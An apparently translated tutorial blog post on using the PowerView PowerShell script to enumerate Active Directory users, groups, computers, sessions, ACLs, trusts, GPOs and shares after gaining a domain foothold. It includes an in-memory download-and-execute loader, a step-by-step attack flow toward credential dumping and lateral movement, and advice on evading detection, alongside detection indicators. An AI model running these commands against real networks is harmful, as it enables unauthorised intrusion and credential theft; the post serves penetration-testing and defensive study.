tools

PowerView: Active Directory Enumeration with Commands and Examples

PowerView: Active Directory Enumeration with Commands and Examples

PowerView guide to enumerate Windows Active Directory: users, groups, computers, ACLs, sessions, GPOs, and trusts with PowerShell commands and practical examples.

  • Posted on 2026-07-14
  • Reading time: 8 min

PowerView for Active Directory: Commands and Enumeration Techniques #

In short: PowerView is a PowerShell script developed by Will Schroeder (@harmj0y) as part of PowerSploit. It extends the capabilities of native Windows commands using LDAP queries, .NET classes, and Win32 APIs to enumerate Active Directory users, groups, computers, ACLs, sessions, trusts, and configurations, without requiring the Active Directory module or RSAT.


After gaining a foothold in a domain, PowerView is almost always the first script to load. It works with any domain account, doesn't require elevated privileges for most operations, and allows you to uncover misconfigurations, escalation paths, and high-value targets.

Key Takeaway: PowerView remains one of the historical references for manual Active Directory enumeration. The PowerSploit repository was archived in January 2021 and is no longer supported—the most complete version is in the PowerView branch. dev, but each command must be laboratory tested on modern systems.


Loading PowerView #

powershell
# Download e load in memoria — niente file su disco
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

# Da file locale: dot sourcing (veloce, diretto)
. .\PowerView.ps1

# Verifica caricamento
Get-Command *-Domain* | wc -l  # mostra numero di comandi disponibili

Phase 1: Domain Reconnaissance #

When you log in to a domain machine, the first step is to figure out which domain you are in and who you control.

Who are you, where are you? #

powershell
# Verifica il tuo contesto corrente
whoami
whoami /upn          # mostra il tuo user principal name (UPN)

Domain Information #

The command Get-Domain Collects details about the current domain: name, SID, forest, primary domain controller, and password policy.

powershell
Get-Domain
# Output simile a:
# Name                   : corp.local
# Forest                 : corp.local
# DomainControllers      : {DC01.corp.local}
# DomainSID              : S-1-5-21-1234567890-1234567890-1234567890
# Parent                 : {}
# Children               : {}

# Informazioni più dettagliate
Get-Domain | Select-Object Name, DomainControllers, Forest, DomainSID, ParentDomain

Why it matters: The domain SID is essential for creating a Golden Ticket. Knowing who the primary DC is helps determine where to send LDAP queries.

Domain SID (Essential for Golden Ticket) #

powershell
# Recupera il SID del dominio corrente
Get-DomainSID

# Output: S-1-5-21-1234567890-1234567890-1234567890

# Specifica il dominio se stai in un multi-domain environment
Get-DomainSID -Domain partner.local

Usage: When crafting a Golden Ticket with Mimikatz, you need the domain SID + krbtgt hash.

Domain Controllers and Infrastructure Masters #

powershell
# Lista tutti i DC
Get-DomainController

# Output:
# Name               : DC01.corp.local
# Forest             : corp.local
# HighestCommittedUSN: 20480

These commands extract information about Domain Controllers, such as the version of the operating system used and the FSMO roles (Schema Master, Domain Naming Master, RID Master, PDC Emulator, Infrastructure Master).

Domain Policy #

powershell
# Password policy, account lockout, Kerberos settings
Get-DomainPolicy

# Accedi direttamente alla password policy
(Get-DomainPolicy)."SystemAccess"
# MinimumPasswordAge       : 0 (giorni prima di poter cambiare)
# MaximumPasswordAge       : 42 (scadenza password)
# MinimumPasswordLength    : 8
# PasswordHistorySize      : 24 (quante password precedenti non ripetere)

# Policy Kerberos
(Get-DomainPolicy)."KerberosPolicy"
# MaxTicketAge             : 600 (minuti, validità ticket)
# MaxClockSkew             : 5 (minuti - tolleranza sincronizzazione clock)

Strategy: If MaximumPasswordAge is 42 days, passwords change frequently. If PasswordHistorySize is low, you can test old passwords after a reset.

Forest and Multi-Domain Environments #

powershell
# Se sei in un multi-domain forest
Get-Forest | Select-Object Name, RootDomain, Domains, GlobalCatalogs

# Domini nel forest
Get-ForestDomain

# Trust all'interno del forest
Get-ForestTrust

Phase 2: User Enumeration #

Once you understand the domain, you look for interesting accounts: privileged accounts, service accounts, weak accounts.

All Users (Basic) #

powershell
# Lista TUTTI gli utenti
Get-DomainUser

# Con proprietà specifiche — molto più veloce su domini grandi
Get-DomainUser -Properties SamAccountName, Description, PasswordLastSet, LogonCount

# Esporta su file per analysis offline
Get-DomainUser | Out-File -FilePath ./all-users.txt
Get-DomainUser | Export-Csv -NoTypeInformation users.csv

Problem: On large domains (1000+ users), it's slow and verbose. Filter properties:

powershell
Get-DomainUser | Select-Object SamAccountName, Description, MemberOf | 
  Where-Object {$_.Description -match "admin|service|sql"}

Users with Service Principal Names (Kerberoasting) #

The flag -SPN identifies service accounts — users with Service Principal Names, which are potential targets for Kerberoasting.

powershell
Get-DomainUser -SPN

What this means: If a user has an SPN, they can be targeted for Kerberoasting—you can request a service ticket and crack the hash offline.

powershell
# Dettagli completi su account Kerberoastable
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName, Description, PasswordLastSet

# Export in CSV per craccare offline
Get-DomainUser -SPN | Select-Object name, samaccountname, serviceprincipalname | Export-CSV kerberoastable.csv

Users Vulnerable to AS-REP Roasting #

The flag -PreauthNotRequired Find accounts vulnerable to AS-REP Roasting — they do not have Kerberos pre-authentication enabled.

powershell
Get-DomainUser -PreauthNotRequired

# Se trovi account così:
# Puoi richiedere un ticket Kerberos senza conoscere la password
# Poi craccare l'hash offline con tool come ASREPRoast

Use case: A disabled but still in AD legacy service account may have pre-auth disabled for compatibility.

Privileged Users and Admin Count #

powershell
# Utenti che sono stati in gruppi privilegiati (AdminCount = 1)
Get-DomainUser -AdminCount

# È storico: se un utente era DA anche 1 anno fa, AdminCount rimane 1
# Utili come target per credential dumping

Active vs. Inactive Users #

powershell
# Utenti mai loggati oppure loggati molto tempo fa
Get-DomainUser -Properties SamAccountName, LastLogonTimestamp, PasswordLastSet, LogonCount | 
  Where-Object {$_.LastLogonTimestamp -lt (Get-Date).AddMonths(-3)}

# LogonCount mostra quante volte un utente si è loggato
# Valore basso = account poco usato / potenzialmente dimenticato
Get-DomainUser | Where-Object {$_.LogonCount -lt 5} | 
  Select-Object SamAccountName, LogonCount, PasswordLastSet

Offensive Value: Inactive accounts with old passwords are good candidates for brute force or password spraying.

Users with Non-Expiring Passwords #

powershell
# Password Never Expires flag (bit 65536)
Get-DomainUser | Where-Object {$_.useraccountcontrol -band 65536} | 
  Select-Object SamAccountName, Description

Track Login Failures (BadPasswordTime) #

powershell
# BadPasswordTime mostra l'ultimo tentativo fallito di login
# Può indicare account che stanno subendo brute force
Get-DomainUser | Select-Object SamAccountName, BadPasswordTime | 
  Where-Object {$_.BadPasswordTime -gt (Get-Date).AddDays(-1)}

Phase 3: Enumerate Computers and File Servers #

Identify Computers in the Domain #

powershell
# Tutti i computer
Get-DomainComputer | Select-Object Name, OperatingSystem, DNSHostName | Sort-Object DNSHostName

# Export su file
Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | 
  Sort-Object -Property DnsHostName | Out-File computers.txt

“Live” Computers (On and Reachable) #

powershell
# Quali computer sono online (ping)
Get-DomainComputer -Ping | Select-Object DNSHostName, OperatingSystem

# Solo server
Get-DomainComputer -Ping | Where-Object {$_.OperatingSystem -like "*Server*"} | 
  Select-Object DNSHostName

# Solo workstation
Get-DomainComputer -Ping | Where-Object {$_.OperatingSystem -notlike "*Server*"} | 
  Select-Object DNSHostName

Finding File Servers (Data Exfiltration) #

Get-DomainFileServer identifies domain file servers, which are prime targets for enumeration and compromise because they often contain home directories, scripts, and sensitive data.

powershell
Get-DomainFileServer

# Ritorna server di file condivisi — spesso contengono:
# - Home directories
# - Backup
# - Script amministrativi
# - Database
# - Documenti sensibili

Strategy: After compromising a file server, you can exfiltrate data, search for backed-up credentials, or find scripts with hardcoded passwords.

Computer with Unconstrained Delegation (High Value) #

powershell
Get-DomainComputer -Unconstrained

# Questi computer possono impersonare QUALSIASI utente verso QUALSIASI servizio
# Se un DC è loggato su questo computer, puoi estrarre il ticket del DC
# e compromettere l'intero dominio

Computer with Constrained Delegation #

powershell
# Questi possono delegare a servizi specifici
Get-DomainComputer -LDAPFilter '(msds-allowedtodelegateto=*)' `
  -Properties DNSHostName, 'msDS-AllowedToDelegateTo'

Phase 4: Sessions and Logged-in Users (Privileged User Hunting) #

One of the most direct ways to compromise an admin is to find them logged into a workstation, dump their credentials, and use them.

Where Privileged Users Are Logged In #

The module Invoke-UserHunter (o Find-DomainUserLocation) locates where specific users are currently logged in, especially useful for finding active Domain Admins.

powershell
# Trova macchine dove sono loggati i Domain Admin (per default)
Invoke-UserHunter

# Specifico su un utente
Invoke-UserHunter -UserIdentity "amministratore"

# Su un gruppo specifico
Invoke-UserHunter -GroupIdentity "Enterprise Admins"

# Output mostra:
# ComputerName : WORKSTATION01
# UserName     : CORP\administrator
# IP           : 192.168.1.50

Attack Flow:

  1. Run Invoke-UserHunter to find where a DA is logged in
  2. Compromise that workstation (RCE, phishing, etc.)
  3. Dump credentials (Mimikatz)
  4. Use DA credentials for lateral movement or escalation

Local Sessions on a Specific Machine #

powershell
# Chi è loggato su una macchina specifica (richiede SMB access)
Get-NetLoggedon -ComputerName WORKSTATION01

# Output:
# UserName : CORP\user1
# LogonTime: 2025-07-11 10:30:00

# Sessioni di rete attive (RPC sessioni, non solamente local logon)
Get-NetSession -ComputerName WORKSTATION01

# Output:
# CName     : \\ATTACKER_IP
# UserName  : attacker
# IDleTime  : 0 (sessione attiva)

Phase 5: Groups and Membership #

Members of Privileged Groups #

powershell
# Chi è nei Domain Admins
Get-DomainGroupMember -Identity "Domain Admins"

# Output:
# MemberName : CORP\administrator
# MemberObjectClass : user
# MemberSID : S-1-5-21-xxx-500

# Ricorsivo (include nested groups — IMPORTANTE!)
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Esporta lista completa su file
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | 
  Export-Csv -NoTypeInformation domain-admins.csv

Local Groups on Specific Machines #

powershell
# Administrators locali su una workstation (SMB required)
Get-NetLocalGroupMember -ComputerName WORKSTATION01 -GroupName Administrators

# Enumera TUTTI i gruppi locali
Get-NetLocalGroup -ComputerName WORKSTATION01 | 
  Select-Object GroupName

Where a User is Local Admin #

powershell
# Trova tutte le macchine dove tu sei admin locale (molto rumoroso)
Find-LocalAdminAccess

# Output:
# ComputerName
# WORKSTATION01
# FILESERVER01

# Verifica su una macchina specifica
Test-AdminAccess -ComputerName WORKSTATION01

Phase 6: ACL and Abusive Permissions #

Search for Interesting Permissions #

powershell
# Chi ha permessi di modifica su oggetti AD (GenericWrite, GenericAll, etc.)
# che potrebbe non essere un admin
Invoke-ACLScanner -ResolveGUIDs | 
  Where-Object {$_.IdentityReferenceName -notmatch "Domain Admins|SYSTEM|Administrator"} |
  Select-Object ObjectName, IdentityReferenceName, ActiveDirectoryRights

Get-ObjectAcl retrieves the Access Control List of an object, showing which users or groups have permissions and what actions they can perform.

powershell
# ACL di un oggetto specifico (es. Domain Admins group)
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | 
  Select-Object IdentityReferenceName, ActiveDirectoryRights, ObjectName

# Se trovi un utente non-privilegiato con "GenericAll" su un DA,
# puoi resettarne la password e impersonarlo

Phase 7: Trust and Multi-Domain Pivoting #

If you are in a multiple domain environment, trusts are the bridges for lateral movement.

List Trusts #

powershell
# Trust del dominio corrente
Get-DomainTrust

# Output:
# SourceName      : corp.local
# TargetName      : partner.local
# TrustType       : TRUST_TYPE_TRANSITIVE (puoi pivotare)
# TrustDirection  : Outbound (corp → partner)

Map Them Recursively #

powershell
# Visualizza tutti i trust nel forest in modo ricorsivo
Get-DomainTrust -Recurse

# Alternativa: Get-DomainTrustMapping per un output più dettagliato
Get-DomainTrustMapping

# Output completo con mappatura grafica dei trust

Enumerate Users in Trusted Domains #

powershell
# Se corp.local fa trust con partner.local
# Puoi interrogare partner.local

Get-DomainUser -Domain partner.local | Select-Object SamAccountName
Get-DomainGroup -Identity "Enterprise Admins" -Domain corp.local

# Enumera utenti con privilegi nel dominio trusted
Get-DomainUser -Domain partner.local -AdminCount

Phase 8: GPO and Misconfiguration #

Find GPOs That Modify Local Groups #

Get-DomainGPOLocalGroup Finds all GPOs that add users to local groups, useful for identifying who becomes local admin.

powershell
Get-DomainGPOLocalGroup | 
  Select-Object GPODisplayName, GroupName, MemberName

# Se vedi una GPO che aggiunge un account service a "Administrators" locali
# Puoi dumpare la hash di quel service account e usarla

GPO Applied to a Specific User #

powershell
# Scopri quali GPO si applicano a un utente
Get-DomainGPOUserLocalGroupMapping -UserIdentity targetuser | 
  Select-Object GPODisplayName, GroupName

# Scopri chi ha diritti di modifica sulle GPO
Get-DomainGPO | Select-Object DisplayName, DistinguishedName

All Group Policies #

powershell
Get-DomainGPO | Select-Object DisplayName, ModificationTime

# GPO applicate a una macchina specifica
Get-DomainGPO -ComputerIdentity WORKSTATION01 | Select-Object DisplayName

Phase 9: Share and Sensitive Data #

Find Accessible Shares #

powershell
Find-DomainShare

# Output:
# Name        : \\FILESERVER01\BackupScripts
# ShareType   : STYPE_DISKTREE
# Comment     : Daily backups

Find Interesting Files in Share #

powershell
Find-InterestingDomainShareFile -Include "*.ps1","*.bat","*.config" -ExcludedShares "ADMIN$","IPC$"

# Output: file che contengono credenziali, config script, etc.

# Cerca file specifici
Find-InterestingDomainShareFile -Include "*password*","*credential*"

Enumerate Shares on a Specific Machine #

powershell
Get-NetShare -ComputerName FILESERVER01 | Select-Object Name, Description

Practical Workflow: From Foothold to Escalation #

Here is a realistic PowerView enumeration flow:

powershell
# 1. Carica PowerView
. .\PowerView.ps1

# 2. Conosci il dominio e il domain SID (essenziale per Golden Ticket)
$domain = Get-Domain
$domainSID = Get-DomainSID
Write-Output "Dominio: $($domain.Name), SID: $domainSID"

# 3. Trovi gli utenti "interessanti"
$kerberoastable = Get-DomainUser -SPN
$asreproastable = Get-DomainUser -PreauthNotRequired
$admincount = Get-DomainUser -AdminCount
$inactive = Get-DomainUser | Where-Object {$_.LastLogonTimestamp -lt (Get-Date).AddMonths(-6)}

Write-Output "Kerberoastable: $($kerberoastable.Count)"
Write-Output "AS-REP Roastable: $($asreproastable.Count)"
Write-Output "Inactive: $($inactive.Count)"

# 4. Localizzi un Domain Admin loggato (RUMOROSO!)
$logged = Invoke-UserHunter -GroupIdentity "Domain Admins" -Delay 2 -Jitter 0.5
Write-Output "DA loggato su: $($logged.ComputerName)"

# 5. Comprometti quella macchina e dumpi credenziali
# (fuori scope di PowerView, usa Mimikatz/procdump)

# 6. Verifica ACL abusabili
$acl = Invoke-ACLScanner -ResolveGUIDs | 
  Where-Object {$_.IdentityReferenceName -eq $env:USERNAME}

if ($acl) {
    Write-Output "Hai permessi di modifica su: $($acl.ObjectName)"
}

# 7. Esplora trust per pivoting
$trusts = Get-DomainTrust
if ($trusts) {
    Write-Output "Trust trovati verso: $($trusts.TargetName)"
    foreach ($trust in $trusts) {
        Get-DomainUser -Domain $trust.TargetName -AdminCount | 
          Select-Object SamAccountName, Domain
    }
}

# 8. Enumera file server per data exfil
$fileservers = Get-DomainFileServer
foreach ($fs in $fileservers) {
    Find-InterestingDomainShareFile -ComputerName $fs
}

OPSEC and Detection #

  • LDAP Query: Less noisy than SMB scans, but detectable via DC telemetry or LDAP logging (Event 1644)
  • Invoke-UserHunter: Generate SMB connections to every machine in the domain — very noisy on large domains. Use -Delay e -Jitter
  • Get-NetLoggedon / Get-NetSession: Access named pipes srvsvc e wkssvc
  • Find-LocalAdminAccess: EXTREMELY LOUD — contacts every machine. Use -Threads 1-3 e -Delay
powershell
# Riduci il rumore
Invoke-UserHunter -GroupIdentity "Domain Admins" -Delay 2 -Jitter 0.5
Find-LocalAdminAccess -Threads 3 -Delay 1

Detection #

🔴 HIGH:

  • Event ID 4104 — ScriptBlock PowerView visible in PowerShell logs
  • Event ID 4688 — PowerShell process with IEX on command line
  • LDAP query burst to DC
  • SMB connections to hundreds of machines in sequence (Find-LocalAdminAccess signature)

🟡 MEDIUM:

  • Named pipe access (srvsvc, wkssvc) to many machines
  • Scripts loaded via IEX from remote URLs
  • Unrecognized PowerShell Modules (PowerView)

FAQ #

Does PowerView require admin privileges? No. Most commands (Get-Domain*, Get-DomainUser, Get-DomainGroup, Get-DomainObjectAcl) work with any authenticated account. Commands that contact remote machines (Find-LocalAdminAccess, Get-NetLoggedon) depend on the target's SMB permissions.

Which commands are stealthiest? LDAP queries (Get-Domain*) are less noisy. Commands like Invoke-UserHunter, Find-LocalAdminAccess, and Find-InterestingDomainShareFile contact machines via SMB—they generate a lot of noise on large domains.

Does PowerView work on PowerShell 7 (cross-platform)? Yes, but some commands may not work identically due to differences between .NET Framework and .NET Core. Test in the lab.

How do I export data for offline analysis?

powershell
Get-DomainUser | Export-Csv users.csv
Get-DomainComputer | Export-Csv computers.csv
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | Export-Csv admins.csv

Is the PowerSploit repository still maintained? No. It's been archived since January 2021. The code still works on modern environments, but commands need to be tested. Check community forks for updated versions.


Conclusion #

PowerView is the starting point for mapping a domain before escalating privileges or moving laterally. Systematic enumeration (domain → users → computers → privileged users → trust → acl → gpo → share) reveals misconfigurations, weak accounts, and high-value targets. Combined with BloodHound for graphical visualization and Mimikatz for credential dumping, PowerView remains the cornerstone of AD exploitation.


Resources:

#PowerView #PowerShell #ACL #trust

leave a message

I'm not a robot